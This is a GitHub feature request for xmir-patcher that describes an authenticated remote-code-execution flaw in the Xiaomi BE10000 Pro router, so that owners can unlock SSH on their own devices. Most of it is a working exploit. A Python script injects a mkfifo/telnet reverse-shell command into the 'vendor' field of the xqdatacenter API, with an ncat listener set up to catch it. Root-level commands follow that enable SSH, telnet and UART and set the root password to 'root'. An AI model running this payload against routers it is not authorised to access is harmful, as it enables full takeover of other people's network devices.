Skip to content

[Feature Request] Add support for Xiaomi Router BE10000 Pro via authorized remote RCE vulnerability #154

@Xierfei

Description

@Xierfei

Device Model

Xiaomi Router BE10000 Pro (小米路由器 BE10000 Pro)

Current Status

The xmir-patcher currently does not support the BE10000 Pro model. Existing methods (such as old firmware downgrades or specific exploit scripts) do not work on this device.

Discovery

I found a valid Authorized Remote Code Execution (RCE) vulnerability that works on the latest firmware of the BE10000 Pro. This vulnerability allows executing arbitrary commands with root privileges if a valid login token (stok) is provided.

Reference vulnerability analysis (Chinese): https://xz.aliyun.com/news/91619

Proof of Concept (PoC)

I have successfully verified this method to enable SSH on my BE10000 Pro. Below are the steps:

Prerequisites

  1. A computer on the same LAN as the router.
  2. A valid stok token from the router (usually obtained by logging into the web interface http://192.168.31.1 and extracting it from the URL).
  3. Python 3 with the requests library installed.
  4. ncat (from nmap) installed on the listening machine.

Step 1: Start Listener

On your computer, start a netcat listener to receive the reverse shell:

ncat -lvnp 8888

Step 2: Trigger RCE and Get Shell

Run the following Python script.
Note: Replace YOUR_STOK_TOKEN with your actual router token and YOUR_PC_IP with your computer's IP address.

import requests

# Configuration
server_ip = "192.168.31.1"       # Router IP
token = "YOUR_STOK_TOKEN"        # REPLACE THIS with your actual stok
listener_ip = "192.168.31.7"     # REPLACE THIS with your PC's IP
listener_port = "8888"

# Payload: Reverse shell via telnet
# Using telnet because busybox on some firmwares might lack full netcat features, 
# but mkfifo + telnet is a reliable standard method.
shell = f";mkfifo /tmp/f; telnet {listener_ip} {listener_port} 0</tmp/f 2>&1 | /bin/sh > /tmp/f; #"

data = {
    'payload': '{"api":7,"dev":"a","vendor":"' + shell + '","type":"a"}'
}

url = f"http://{server_ip}/cgi-bin/luci/;stok={token}/api/xqdatacenter/request"

print(f"Sending payload to {url}...")
try:
    res = requests.post(url, data=data, timeout=10)
    print("Response:", res.text)
except Exception as e:
    print(f"Error: {e}")

Step 3: Enable SSH

Once you get the shell connection in your terminal from Step 1, run the following commands to enable SSH and set the root password:

# Enable services
nvram set ssh_en=1
nvram set telnet_en=1
nvram set uart_en=1
nvram set boot_wait=on
nvram commit

# Fix dropbear configuration (force debug channel if necessary)
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear

# Restart dropbear
/etc/init.d/dropbear restart

# Set root password (change 'root' to your desired password)
echo -e 'root\nroot' | passwd root

After running these commands, you should be able to SSH into the router:

ssh root@192.168.31.1

Suggestion for xmir-patcher

Could you please integrate this exploitation method into xmir-patcher?
Since this relies on an authenticated RCE, the tool could:

  1. Prompt the user to log in via the web UI or input their password to retrieve the stok.
  2. Automatically inject the payload to enable SSH.
  3. This would provide a clean, software-based unlock solution for the BE10000 Pro.

Environment Details

  • Router Model: BE10000 Pro
  • Firmware Version: 1.0.70 download

Thank you for maintaining this great project!

PS: My English is not very good, so the content above was written with the assistance of AI. I hope the technical details are clear and helpful.

Metadata

Metadata

Assignees

No one assigned

    Labels

    enhancementNew feature or request

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions